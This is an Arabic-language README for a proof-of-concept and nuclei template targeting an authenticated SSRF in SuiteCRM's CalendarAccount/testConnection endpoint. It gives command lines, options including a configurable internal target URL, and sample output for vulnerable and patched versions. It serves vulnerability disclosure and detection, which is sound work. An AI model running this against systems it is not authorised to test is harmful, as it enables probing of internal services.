
SuiteCRM <= 7.15.1, <= 8.10.1 - SSRF بعد المصادقة
إثبات مفهوم (PoC) لثغرة تزوير الطلبات من جانب الخادم (SSRF) المُصادَق عليها في SuiteCRM عبر نقطة النهاية CalendarAccount/testConnection ومزوّد caldav_basic.
تقبل إصدارات SuiteCRM المتأثرة قيمة server_url الخاصة بمستخدم مُصادَق عليه وتمرّرها إلى cURL دون التحقق من الوجهة. يتيح ذلك إرسال طلبات من جانب الخادم إلى خدمات HTTP على واجهة الاسترجاع (loopback) أو الخدمات الداخلية. في الإصدارات المعرّضة للثغرة، قد تكشف استجابة فشل الاتصال أيضًا عن بيانات استجابة الخدمة التي تم جلبها ضمن رسالة الخطأ.
يقوم إثبات المفهوم بالمصادقة باستخدام حساب SuiteCRM صالح ويطلب عنوان URL خاضع للتحكم. وجهته الافتراضية، http://127.0.0.1:1/، هي منفذ استرجاع مغلق: فهو يثبت أن SuiteCRM حاول إجراء الاتصال من جانب الخادم دون طلب خدمة خارجية.
--server-urlلا حاجة إلى أي حزم Python خارجية.
التحقق المحلي الأساسي مقابل SuiteCRM:
python3 CVE-2026-69137.py \
-u http://127.0.0.1:8081 \
-U admin \
-P 'password'
استخدام جلسة مُصادَق عليها موجودة مسبقًا:
python3 CVE-2026-69137.py \
-u https://suitecrm.example \
--cookie 'PHPSESSID=value'
اختبار وجهة داخلية مُصرَّح بها أو وجهة خاضعة للتحكم:
python3 CVE-2026-69137.py \
-u https://suitecrm.example \
-U user \
-P 'password' \
--server-url http://127.0.0.1:8080/
-u, --url SuiteCRM base URL
-U, --username SuiteCRM username
-P, --password SuiteCRM password
--cookie Authenticated SuiteCRM Cookie header value
--server-url URL fetched by SuiteCRM; default: http://127.0.0.1:1/
--timeout HTTP timeout in seconds; default: 35
-k, --insecure Disable TLS certificate verification
تُرجع الإصدارات المعرّضة للثغرة فشلًا في اختبار الاتصال بعد معالجة عنوان URL المُمرَّر:
[*] Authenticating with SuiteCRM legacy login...
[*] Sending testConnection request with server_url=http://127.0.0.1:1/
[!] Vulnerable behavior confirmed: SuiteCRM processed the supplied server_url.
Server message: Connection test failed. Network error: Failed to connect to 127.0.0.1 port 1 ...
ترفض الإصدارات المُرقَّعة الوجهات غير المسموح بها قبل محاولة الاتصال:
[+] Target rejected the supplied URL; the SSRF fix appears to be present.
يقوم CVE-2026-69137.yaml بالمصادقة باستخدام username وpassword، ويعيد استخدام جلسة SuiteCRM، وينفّذ نفس فحص الاسترجاع المغلق:
nuclei -u https://suitecrm.example \
-t CVE-2026-69137.yaml \
-var username=user \
-var password='password'
تم التحقق من صحة القالب باستخدام:
nuclei -validate -t CVE-2026-69137.yaml
--server-url فقط ضد الوجهات المُصرَّح لك باختبارها.